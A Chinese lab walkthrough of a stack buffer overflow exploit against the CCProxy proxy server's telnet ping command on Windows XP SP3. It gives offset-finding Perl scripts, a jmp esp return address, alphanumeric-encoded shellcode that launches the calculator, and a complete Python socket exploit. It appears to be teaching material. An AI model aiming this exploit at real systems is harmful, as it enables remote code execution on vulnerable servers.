溢出对象:CCProxy(一款代理服务器软件,支持FTP和Telnet)
调试工具:CDB、WinDbg、OllyDBG、IDA Pro etc
实验环境:VMware Workstation Pro、windows xp sp3(关闭dep)、python3、ActivePerl
Windows XP SP3关闭DEP的方法:编辑C:\boot.ini文件,将/noexecute=optin 改为
/execute,重启系统
得到目标主机IP为192.168.1.104
在cmd输入命令 telnet 192.168.1.104 23,得到返回消息:
使用CDB调试工具将ccproxy挂起:cdb.exe -pn ccproxy;
输入g继续运行,调试工具开始运行
在之前的telnet 192.168.1.104 23窗口中,1. 先 ping AAAA 2. 再 ping Ax1000 (可以是其他字符) 3. 再 ping Ax2000 (可以是其他字符,这里要求字符不同,方便确定字符的相对位置)
如果终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常;如果终端提示“失去了跟主机的连接”,表明CCProxy已经崩溃
客户端显示失去了跟主机的连接,并且ccproxy报错:
cdb窗口界面出现access violation报错
首先看到EIP的内容为41414141(字符A的ASCII码是0x41);这是因为栈中存放RET值的地方已经被41414141覆盖,当函数返回时,就将这个值弹出到EIP寄存器;EIP中存放的是程序下一条指令的地址。但程序在0x41414141地址处找不到可执行的指令,因此报错。
输入dd查看esi和esp寄存器中的值
CCProxy的缓冲区溢出条件在ping 1000个字符~2000个字符之间,因为ping Ax1000时程序并没有崩溃,但ping Ax2000时程序发送崩溃了;
在ping Ax2000时,目前已知RET的值和ESP指向地址的值都处于我们输入的范围;
一般来说,攻击者要实现缓冲区溢出攻击,必须完成两个任务,一是在程序的地址空间里安排适当的代码;二是通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
我们的思路:将shellcode放在ESP寄存器指向的内存单元中,然后在RET位置填充一条指向jmp esp指令的地址,于是函数返回时,就能执行jmp esp,跳转到ESP指向的shellcode上运行
获取方法:利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移
编写patternCreate.pl脚本代码生成2000个不重复的字符,patternCreate.pl主要代码如下:
sub PatternCreate {
my ($length) = @_;
my ($X, $Y, $Z);
my $res;
while (1)
{
for my $X ("A" .. "Z") { for my $Y ("a" .. "z") { for my $Z (0 .. 9) {
$res .= $X;
return $res if length($res) >= $length;
$res .= $Y;
return $res if length($res) >= $length;
$res .= $Z;
return $res if length($res) >= $length;
}}}
}
}
在对应目录下输入:perl.exe patternCreate.pl 1.txt 2000运行,生成的2000个字符保存在1.txt中:
生成的2000个字符如下:
Telnet到目标主机23端口,ping 1.txt中的字符串,将这串生成的字符串通过ping命令发送到ccproxy,cdb捕捉到异常
从图中可以看到EIP寄存器的值为:0x68423768;通过patternOffset.pl计算出它在整个长为2000的字符串中的偏移。
patternOffset.pl代码如下:
sub PatternOffset {
my $pattern = shift;
my $address = shift;
my $endian = @_ ? shift() : 'V';
my @results;
my ($idx, $lst) = (0,0);
$address = pack($endian, hex($address));
$idx = index($pattern, $address, $lst);
while ($idx > 0)
{
push @results, $idx;
$lst = $idx + 1;
$idx = index($pattern, $address, $lst);
}
return @results;
}
在cmd中输入perl.exe patternOffset.pl 68423768 2000运行脚本:
这说明,RET相对缓冲区起始地址的偏移大小是1012字节。
在Windows系统的许多DLL中都能找到jmp esp(FF E4)这样一条指令,一个通用的地址是0x7ffa4512(前人经验)
在CDB下使用U 7ffa4512来确定该处指令是JMP ESP
确认成功
使用和3.1获取RET偏移量同样的方法获取ESP偏移量:
用CDB挂起CCProxy.exe
利用patternCreate.pl生成长为2000的字符串
用ping命令向目标主机发送这个字符串
在CDB捕捉到CCProxy.exe的崩溃事件时,查看ESP的内容为0x61413161
用patternOffset.pl计算出它在整个长为2000的字符串中的偏移
在cmd命令行输入perl.exe patternOffset.pl 61413161 2000,运行脚本:
这说明ESP指向字符串的第4个字节
前面分析,ping后接字符串的1012字节位置开始的4个字节将覆盖RET;于是,我们便可以在字符串的这个位置上填充0x120x450xfa0x7f;程序运行到此,就会转向地址0x7ffa4512找到jmp esp指令并执行;从3.3可以得知ESP指向字符串的第4个字节,因此,我们把shellcode放在字符串的第4个字节处,这样程序运行到ESP,就可以运行我们自己定义的shellcode.
构造好的exploit的结构如下所示:
使用python脚本对正在运行的CCProxy发起缓冲区溢出攻击,使得其在本机开启计算器程序。
Socket编程
连接目标主机(connect)
构造溢出字符串(即构造后接shellcode的ping命令:ping shellcode\r\n)
向目标主机发送溢出字符串(send)
关闭连接
打开本机计算器的shellcode(前人经验)如下:z
shellcode = b"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30" + \
b"\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42" + \
b"\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x34" + \
b"\x4e\x33\x4b\x38\x4e\x37\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38\x4f\x45\x42\x52\x41\x30\x4b\x4e" + \
b"\x49\x54\x4b\x38\x46\x53\x4b\x48\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c\x46\x47\x47\x30\x41\x4c" + \
b"\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x50\x45\x37\x45\x4e\x4b\x48\x4f\x45\x46\x42" + \
b"\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x44\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x38\x41\x50" + \
b"\x4b\x4e\x49\x48\x4e\x35\x46\x52\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x56\x4b\x38\x42\x34\x42\x53\x45\x38\x42\x4c\x4a\x37" + \
b"\x4e\x50\x4b\x38\x42\x54\x4e\x50\x4b\x48\x42\x37\x4e\x31\x4d\x4a\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48" + \
b"\x42\x4b\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x33\x4f\x55\x41\x53\x48\x4f\x42\x46\x48\x45\x49\x48\x4a\x4f\x43\x58" + \
b"\x42\x4c\x4b\x37\x42\x55\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x49\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f" + \
b"\x47\x4e\x43\x56\x41\x46\x4e\x36\x43\x46\x42\x30\x5a"
总体python攻击代码如下:
import socket
def send(code,host='192.168.1.104',port=23):
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as sock:
sock.connect((host,port))
data = b'ping ' + code + b'\r\n'
sock.send(data)
sock.recv(1000)
#在本机打开计算器软件shellcode
shellcode = your shellcode
#jmp esp返回地址
RET_addr = bytes.fromhex('7ffa4512')[::-1]
attackcode = ((b"\x90" *4 + shellcode).ljust(1012,b"\x90") + RET_addr).ljust(2000,b"\x90")
打开ccproxy并用cdb挂起,telnet连接到主机端口
打开cmd,运行python,将代码复制进去按回车,输入send(attackcode)回车:
程序执行,计算器程序弹出,cdb中记录程序溢出详细情况
缓冲区溢出攻击成功!